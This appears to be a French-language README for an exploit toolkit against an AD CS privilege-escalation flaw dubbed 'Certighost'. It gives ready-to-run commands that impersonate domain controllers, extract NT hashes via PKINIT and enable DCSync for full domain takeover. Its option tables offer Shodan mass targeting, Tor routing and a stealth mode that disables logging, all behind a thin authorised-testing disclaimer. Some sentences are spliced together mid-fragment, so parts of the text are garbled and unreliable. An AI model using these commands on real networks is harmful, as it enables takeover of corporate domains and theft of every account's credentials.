
👻 CVE-2026-54121 - Best CertiGhost AD CS Multi-Exploit Framework | Boîte à outils avancée avec serveurs DC/LDAP non autorisés, abus de certificats, extraction de hachages PKINIT. Fonctionnalités : vérification de sécurité, exploitation complète multi-thread. 🛡️ CVSS 8.8 High - Utilisez de manière éthique, restez dans la légalité. 🔒

Framework d'exploitation et boîte à outils d'audit
Pour tests de sécurité autorisés uniquement.
Cet outil est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés. Les auteurs et contributeurs ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables de l'obtention d'une autorisation écrite explicite du propriétaire de la cible avant tout test. L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois fédérales, étatiques et internationales applicables en matière de cybercriminalité. En utilisant ce logiciel, vous acceptez :
⚠️ AVERTISSEMENT : Les vulnérabilités d'élévation de privilèges d'Active Directory présentent un risque élevé pour les infrastructures d'entreprise. Les tests non autorisés sont strictement interdits.
CVE-2026-54121 (surnommée « Certighost ») est une vulnérabilité d'élévation de privilèges (EoP) dans les services de certificats Active Directory (AD CS) de Microsoft. Elle permet à des utilisateurs de domaine à faibles privilèges d'usurper des comptes de machines contrôleurs de domaine et d'obtenir une prise de contrôle totale de Domain Admin via la falsification de certificats.
CWE-285) dans AD CS lors du traitement des paramètres de cible des demandes de certificat.DCSync.detect_ip, et de désactiver la journalisation et les sorties. Utilisez « stealthcert.py » pour cette version.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
La vulnérabilité provient de contrôles d'autorisation et de validation inappropriés (CWE-285) au sein des services de certificats Active Directory (AD CS) lors des processus d'inscription de certificats. Un attaquant disposant d'identifiants de domaine à faibles privilèges peut manipuler les paramètres de redirection de cible pour amener l'autorité de certification (CA) à vérifier des assertions d'identité auprès d'un point de terminaison rogue.
Point de terminaison vulnérable / Contexte de la requête :
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
Manipulation de la cible poursuivie (Chase Target) : Un attaquant modifie les paramètres de redirection de cible (tels que cdc / chase target) dans la demande de certificat, forçant l'autorité de certification (CA) à router le trafic de vérification vers un point de terminaison spécifié.
Redirection vers un serveur rogue : L'autorité de certification (CA) initie des connexions LDAP ou SMB vers la destination fournie par le client sans valider si la cible est un contrôleur de domaine légitime et autorisé.
Falsification de l'identité du contrôleur de domaine et émission de certificat : Le serveur rogue contrôlé par l'attaquant répond aux requêtes de vérification émises par la CA au nom du compte de contrôleur de domaine ciblé. Sur la base de cette réponse, la CA émet un certificat valide et signé portant l'identité du contrôleur de domaine.
À l'aide du certificat de contrôleur de domaine obtenu, une authentification Kerberos est effectuée via PKINIT (Public Key Cryptography for Initial Authentication) pour récupérer un TGT à hauts privilèges.
Avec un ticket Kerberos possédant des privilèges de contrôleur de domaine, les hashs de mots de passe de tous les comptes de la base de données Active Directory (p. ex., krbtgt, Administrator) sont extraits à l'aide de la technique DCSync.
krbtgt extrait.msDS-KeyCredentialLink des comptes ciblés pour garantir un accès persistant.| Attribut | Valeur |
|---|
| 📅 Découverte / Correctif | Juillet 2026 (Patch Tuesday de Microsoft) |
| ⚠️ Score CVSS | 8.8 (ÉLEVÉ) |
| 🏷️ Nom de code | Certighost |
| 🎯 Produits affectés | Microsoft Active Directory Certificate Services |
| 🔄 Versions corrigées | Mise à jour de sécurité de juillet 2026 |
| 🔓 Authentification | Compte de domaine à faibles privilèges |
| 🌍 Impact | Compromission totale du domaine Active Directory |
| Paramètre | Description | Exemple |
|---|
-d, --domain | Nom DNS du domaine cible (obligatoire) | -d playground.local |
-u, --username | Utilisateur de domaine à faibles privilèges (obligatoire) | -u lowpriv |
-p, --password | Mot de passe de l'utilisateur | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | IP du contrôleur de domaine (obligatoire) | --dc-ip 192.168.1.10 |
--ca-ip | IP de l'autorité de certification (facultatif) | --ca-ip 192.168.1.20 |
--ca | Nom de la CA (auto-découvert si non défini) | --ca "PLAYGROUND-CA" |
--listener | IP de l'attaquant pour les serveurs rogue | --listener 192.168.1.100 |
--target-san | Compte machine à usurper (p. ex. DC01$) | --target-san DC01$ |
--template | Modèle de certificat (défaut : Machine) | --template Machine |
--computer-name | Nom du compte machine existant (avec $) | --computer-name GHOSTABCD$ |
--computer-pass | Mot de passe du compte machine existant | --computer-pass CGabc123... |
--computer-hash | Hash NT du compte machine existant | --computer-hash 8846f7ea... |
--use-ldap | Utiliser LDAP (389) au lieu de LDAPS (636) | --use-ldap |
--exploit | Effectuer l'exploitation | --exploit |
--detect | Détection uniquement (sans exploitation) | --detect |
-t, --threads | Nombre maximal de threads pour l'analyse de masse | -t 10 |
--timeout | Délai d'expiration par requête (secondes) | --timeout 10 |
--retry | Nombre de nouvelles tentatives en cas d'échec | --retry 3 |
--delay | Délai de base entre les requêtes | --delay 1.0 |
--proxy | URL du proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Désactiver la vérification SSL | --no-verify |
--tor | Utiliser le proxy Tor (socks5h://127.0.0.1:9050) | --tor |
-o, --output | Fichier de sortie (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Sortie détaillée | -v |
-q, --quiet | Mode silencieux | -q |
-h, --help | Afficher l'aide | -h |
| Paramètre | Description | Exemple |
|---|
-t, --target | IP ou nom d'hôte de la CA cible (obligatoire) | -t 192.168.1.20 |
-d, --domain | Nom DNS du domaine cible (obligatoire) | -d playground.local |
--dc-ip | IP du contrôleur de domaine (obligatoire) | --dc-ip 192.168.1.10 |
-u, --username | Utilisateur de domaine à faibles privilèges (obligatoire) | -u lowpriv |
-p, --password | Mot de passe de l'utilisateur | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | Nom du compte machine existant (avec $) | --computer-name GHOSTABCD$ |
--computer-pass | Mot de passe du compte machine existant | --computer-pass CGabc123... |
--computer-hash | Hash NT du compte machine existant | --computer-hash 8846f7ea... |
--target-account | Compte à usurper (p. ex. DC01$) | --target-account DC01$ |
--template | Modèle de certificat (défaut : Machine) | --template Machine |
--listener | IP de l'attaquant pour les serveurs rogue (auto-détection si non défini) | --listener 192.168.1.100 |
--use-ldap | Utiliser LDAP (389) au lieu de LDAPS (636) | --use-ldap |
--keep-files | Conserver les fichiers .pfx et .ccache (défaut : suppression) | --keep-files |
-h, --help | Afficher l'aide | -h |
| Paramètre | Description | Exemple |
|---|
-u, --url | IP ou nom d'hôte de la CA cible | -u 192.168.1.20 |
-l, --list | Fichier contenant les cibles (une par ligne) | -l targets.txt |
--shodan | Charger les cibles depuis Shodan | --shodan |
--shodan-query | Requête de recherche Shodan | --shodan-query "AD CS Certificate" |
-d, --domain | Nom DNS du domaine cible (obligatoire) | -d playground.local |
--dc-ip | IP du contrôleur de domaine (obligatoire) | --dc-ip 192.168.1.10 |
--username | Utilisateur de domaine à faibles privilèges (obligatoire) | --username lowpriv |
-p, --password | Mot de passe de l'utilisateur | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7ea... |
--computer-name | Nom du compte machine existant (avec $) | --computer-name GHOSTABCD$ |
--computer-pass | Mot de passe du compte machine existant | --computer-pass CGabc123... |
--computer-hash | Hash NT du compte machine existant | --computer-hash 8846f7ea... |
--target-account | Compte à usurper (p. ex. DC01$) | --target-account DC01$ |
--template | Modèle de certificat (défaut : Machine) | --template Machine |
--listener | IP de l'attaquant pour les serveurs rogue | --listener 192.168.1.100 |
--use-ldap | Utiliser LDAP (389) au lieu de LDAPS (636) | --use-ldap |
--exploit | Effectuer l'exploitation | --exploit |
--detect | Détection uniquement (sans exploitation) | --detect |
-t, --threads | Nombre maximal de threads pour l'analyse de masse | -t 10 |
--timeout | Délai d'expiration par requête (secondes) | --timeout 10 |
--retry | Nombre de nouvelles tentatives en cas d'échec | --retry 3 |
--delay | Délai de base entre les requêtes | --delay 1.0 |
--proxy | URL du proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Désactiver la vérification SSL | --no-verify |
--tor | Utiliser le proxy Tor | --tor |
-o, --output | Fichier de sortie (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Sortie détaillée | -v |
-q, --quiet | Mode silencieux | -q |
-h, --help | Afficher l'aide | -h |